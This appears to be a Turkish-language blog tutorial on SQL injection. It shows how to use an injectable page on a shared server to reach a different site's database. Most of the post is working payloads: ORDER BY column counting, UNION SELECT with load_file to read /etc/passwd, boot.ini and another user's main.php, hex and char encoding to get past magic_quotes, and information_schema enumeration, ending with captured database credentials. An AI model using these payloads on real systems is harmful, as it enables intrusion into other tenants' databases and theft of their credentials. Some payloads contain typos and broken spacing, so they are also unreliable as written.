Herhangi bir sitede SQL tespit ettigimizi varsayalım ,
Aslında amacımız bu sitedekı SQL zaafiyatını kullanarak serverdaki diger sitenin
db’sine erismek. Burda MySQL’in uzaktan istege acık oldugunu + serverin Linux dagıtımlarından birini kullandıgını varsayıyorum.
Yapacagımız ilk is MySQL Sorgularını , kurbanın sitesinde servera isletmek olcaktır.
**********
ozn.php?id=1+and+1=1 yaptığımızda 1=1 olduğundan true döner
ozn.php?id=1+and+1=2 yaptığmızda ise 1=2 olmadığı için true dönmez yani yanlışlığı algılar ve hata verir şimdi kolon sayısını
öğreniyoruz
ozn.php?=1order+by+6--
*yaptık sayfa hata verdi
ozn.php?id=1+order+by+7–-
*bu şekil yaptık sayfa hata vermeden açıldı
* kolon sayısını ogrendik 7
ozn.php?id=1/**/union/**/select/**/0,1,2,3,4,5,6,7/*
3 4
* Kolon sayısınının esit oldugunu soyluyor.
ozn.php?id=-1+union+select+0,1,2,load_file(/etc/passwd),4,5,6,7/* < Linux All
*Linux da “userler”in yetkılerıne temelli sahibiz,
*Windows icin de aynı sey gecerlidir.
* Eger Makina Windows olsaydı..
boot.ini‘yi okuyabiliriz , engel varsa hexleriz.
select ‘c:/boot.ini’
select 0×633a2f626f6f742e696e69
Domainler ” C:/Inetpub ” burada.
ozn.php?id=-1+union+select+0,1,2,load_file(0×633a2f626f6f742e6 96e69),4,5,6,7/*
Blind Edebiliriz !
substring(load_file(’c:/boot.ini’),58)
” [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(2)\WINDOW S …”
Windows icinde asagıda goreceginiz teknıkler birebir aynıdır.. Extra uzerınde durmaya gerek yok.
Simdi konumuza geri donelım;
*Kullanıcı adı ve dizinlerin bulundugu yerı ogrenmem icin etcleri listelemem gerekli.
Eger bunu yapamazsanız servera hata verdirip ana dizin yolu ogrenebilirsiniz; ama bu sadece uzerinde calıstıgımız
site icin gecerli olacaktır.
Bu tip karakterlerin(’,-) serverda islemedigi durumlarda kurdugumuz sorguları hexleriz veya ascii koda cevirip sorguya
dahil ederiz.
Neden bu karakterle pasif olur peki ?
php.ini deki “magic_quotes_gpc” direktifinin “On” olmasıdır. Dolayısyla numerik dısında gelen sayıları ters slash’a “\,/”
cevirecektir.
Calısma mantıgı ,
(int) , intval(GET),POST,COOKİE) , addslashes() ile aynı isleve sahiptir.
- UYGULAMA -
/**/union/**/select/**/0,1,2,load_file(/etc/passwd),4,5,6,7/*
Eger engel varsa ;
> > ozn.php?=88888881 union select 0,1,2,unhex(hex(/etc/passwd),4,5,6,7
// Serverda ki tüm kullanıcı adları ve konumlandıgı klasörler karsımızda.
Target “ozn"
/home/ozn/httpdocs:
/home/site/httpdocs:
Amacımız ozn adlı kurbanın dbsini ele gecirmek , Bunun icin ozn adlı hedefin
db bilgilerinin saklandıgı dosyayı bulmak gereklı , genelde “config.php” , main.php , common.php olur
Uzamasın diye kısaltalım biraz “httpdocs” adlı klasorde “main.php” oldugunu varsayıyorum
soyle bir ıstekde bulunuyorum ;
/**/union+select+0,1,2,load_file(/home/victim2/httpdocs/main.php),4,5,6,7/*
* Burada gene hexleyecegız parantez icindekı karakterleri.
/**/union/**/select/**/0,1,2,load_file(0×2F686F6D652F76696374696D322F6874 7470646F63732F6D61696E2E706870),4,5,6,7/*
Syntax Hataları ve Çözümleri
Alternatif durumlar da goreve dahil ettigimiz MySQL katarları : “char” , “concat” , “blob” , “varchar” …
Serverda ” magic_quotes_gpc = On ” direktifi aktif oldugunda ;
ozn.php?id=88888881 union select 0,1,2,3,4,5,6,7
3 4
/home/victim2/httpdocs/main.php < Go to ascıı code converted
ozn.php?=88888881 union select 0,1,2,load_file(char(/home/ozn/httpdocs/main.php))),4,5,6,7
ozn.php?=88888881 union select 0,1,2,load_file(concat(char(47,104,111,109,101,47, 118,105,99,116,105,109,50,47,104,116,116,112,100,1 11,99,115,47,109,97,105,110,46,112,104,112)))),4,5 ,6,7
“information_schema” adlı databaseden satırları okuyarak tüm db isimleri ve kolon+satırları elde ederiz.
/**/union/**/select/**/0,1,2,concat(COLUMN_NAME,0×2020,TABLE_NAME,0×2020, TABLE_SCHEMA),4,5,6,7+from+information_schema.colu mns+limit+1,8/*
1 kayıttan baslıyoruz , 8. son kayıta kadar sorguluyoruz.
Example :
SELECT * FROM `users` LIMIT 1, 8
/**/union/**/select/**/0,1,2,concat(table_name),4,5,6,7+from+information_ schema.tables+where=’DB_NAME’+limit 1,8/*
Engel oldugunu varsayıyorum ,
union select 0,1,2 unhex((hex(table_name))) 4,5,6,7 from information_schema.tables where char(ascicode(DB_NAME)) limit 1,8
* Yukarıda load_file ile yaptıgım atağın sonucu geldı.
// Database Server
$forum_server = “localhost”; // Ben yerel sunucumu (Localhost) ele alıyorum.
// Database User Name
$forum_un = “root”;
// Database Password
$forum_pw = “123”;
// Database name
$forum_database = “SQL”;
?>
Serverdakı dizinleri okuyup ozn adlı userin veritabanı baglantı
bilgilerini ele gecirdik , yani anahtarı aldık..
Hatasız kul olmaz Hata varsa düzeltirsin :)
Hiç yorum yok:
Yorum Gönder
Yorumunuz kayıt edilmiştir en kısa sürede kontrol edilip onaylanacaktır.